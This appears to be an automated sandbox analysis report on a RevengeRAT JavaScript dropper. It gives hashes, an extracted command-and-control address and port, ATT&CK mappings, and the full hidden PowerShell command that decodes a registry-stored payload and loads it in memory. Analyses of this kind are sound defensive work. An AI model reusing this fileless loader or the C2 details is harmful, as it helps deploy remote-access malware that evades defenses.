revengerat | 9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50

Analysis

max time kernel
147s
max time network
153s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 03:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50.js
Size

258KB
MD5

48f850f90ba9dd0390c5eb42d0f9bef2
SHA1

578f634534ca0f06f135f6b565f711dfe8d483c2
SHA256

9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50
SHA512

5cbd65fccf50bf4166937c3f7060400af067d41822fea947e98ad11c6bbe9b045e08262ab635c7d6aeed2857facb9c639d319ca210b6f7d0d1f0ddccc85493b0
SSDEEP

6144:FGfkaSPcuBpSEGBfpmxD8k0+gHisTt0mCIqceOlgeyy7U00MXfKG:UfkaSPJ96

Score

10^/10

revengerat nyancatrevenge execution trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

13.49.66.229:333

Mutex

8a25aa6e78e44708a

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat

Blocklisted process makes network request 20 IoCs

flow	pid	Process
2	780	powershell.exe
3	780	powershell.exe
4	780	powershell.exe
5	780	powershell.exe
6	780	powershell.exe
7	780	powershell.exe
8	780	powershell.exe
9	780	powershell.exe
10	780	powershell.exe
11	780	powershell.exe
12	780	powershell.exe
13	780	powershell.exe
14	780	powershell.exe
15	780	powershell.exe
16	780	powershell.exe
17	780	powershell.exe
18	780	powershell.exe
19	780	powershell.exe
20	780	powershell.exe
21	780	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
780	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
780	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	780	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1356 wrote to memory of 780	1356	wscript.exe	29
PID 1356 wrote to memory of 780	1356	wscript.exe	29
PID 1356 wrote to memory of 780	1356	wscript.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\' -name 'KeyName').KeyName;$_b=$_b.replace('~','30');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/780-4-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/780-5-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/780-7-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/780-8-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/780-6-0x000000001B140000-0x000000001B422000-memory.dmp

Filesize
2.9MB

Download
memory/780-9-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/780-10-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/780-12-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/780-11-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/780-13-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/780-14-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/780-15-0x0000000002940000-0x000000000294A000-memory.dmp

Filesize
40KB

Download
memory/780-16-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download